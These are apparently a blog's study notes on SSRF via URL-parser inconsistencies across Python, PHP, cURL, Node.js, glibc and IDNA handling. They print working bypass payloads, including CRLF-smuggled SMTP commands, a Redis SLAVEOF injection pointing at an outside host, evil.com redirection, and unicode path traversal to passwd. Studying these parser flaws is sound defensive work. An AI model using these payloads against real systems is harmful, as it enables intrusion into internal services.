URL Parse && Request

不畏将来,不念过往。如此,安好!

Someone famous 丰子恺

why 讨论这里,地址栏的构造对 SSFR 很有作用。对地址栏的理解

                                                                                                                                urllib

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

       urllib2      requests

       &&httplib


上面是各主流Web 接口的解析情况,很显然差异很大。


CR-LF 的利用 =>urldecode(%0d%0A)=>urldecode(urldecode(%250A)) 

bypass stmp 协议;  %20%0d%0A

https://127.0.0.1%20%0D%0AHELO%20orange.tw%0D%0AMAIL%20FROM…:25/


问题存在于的关键点   URL parse 和 request function 之间的差异


 RFC2396, RFC3986 规定了解析格式:

URL Components(RFC 3986)

   |----scheme----|  |------------------authority-------------| |-----port------| |----------------path------------------| |-----------------query-------| |----fragment----|

foo://example.com:8042/over/there?name=bar#nose

这里只关心 http/httpshost

  PATH HOSTSNI  port injectHost inject  path inject
 python httplib yes yes yes   
 python urllib  yes yes  yes 
 python urllib2  yes yes   
 Ruby  Net:http yes     yes yes   
 Java net.URL  yes   yes 
 Perl LWP  yes  yes  
 Nodejs http yes     yes
 PHP http_wrapper    yes yes 
 Wget      
 cURL  yes yes yes yes 


#PHP Coding

parse_url && readfile

$url = "http://" . $_GET[url];
$parsed = parse_url($url);
if ( $parsed[port] == 80 && $parsed[host] == "google.com") {
readfile($url);
} else {
die("You Shall Not Pass");
}

http://127.0.0.1:11211:80/   parse_url:80 readfile:11211

http://google.com#@evil.com/  parse_url:google.com  reafile:evil.com


#cURL

cURL/libcurl && oTHER

http://foo@evil.com:80@google.com/

cURL/Libcurl => evil.com

{"Nodejs URL","Perl URI","GO net/url","PHP parse_url","Ruby addressable"} => google.com


http://foo@127.0.0.1 @google.com/  bypass for the curl patch


#Node js

unicode 编码

base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf("..") == -1) {
http.get(base + path, callback);
}

检测..

http://orange.tw/sandbox/NN/passwd

http://orange.tw/sandbox/ÿ.ÿ./passwd

http://orange.tw/sandbox/../passwd

http://orange.tw/sandbox/../passwd

unicode 编码完美绕过

http://127.0.0.1:6379/ SLAVEOF orange.tw 6379    如果对 又检测

用 U+FFOD U+FFOA 绕过


#GLibc NSS

void main(int argc, char **argv) {
char *host = "or\097nge.tw";
struct in_addr *addr = gethostbyname(host)->h_addr;
printf("%s "
, inet_ntoa(*addr));
}

它是支持进制转换的~

socket.gethostbyname("127.0.0.1 foo")

还要主要可以使用分割符的问题

http://127.0.0.1 foo.google.com

http://127.0.0.1%09foo.google.com

http://127.0.0.1%2509foo.google.com   两次 urldecode


#IDNA

ⓖⓞⓞⓖⓛⓔ.com => google.com

"ß".toUpperCase() => SS

在于不同国家的个性化域名和对这些稀有字符的转化问题


存在一个有意思的东西二次解析,第一次正常DNS 域名解析到正常网址,绕过black,二次DNS 解析到127.0.0.1 成功ssrf


注意地方在与 parse_url 和 request function 同时使用时 存在差异参数,影响流程。

还有 CR-LF 的利用 在 host,path,query 也是可能存在 不仅仅在header里面:)

加个空格可能有点意思哦~

标签

注意!

Warning! 关注一下!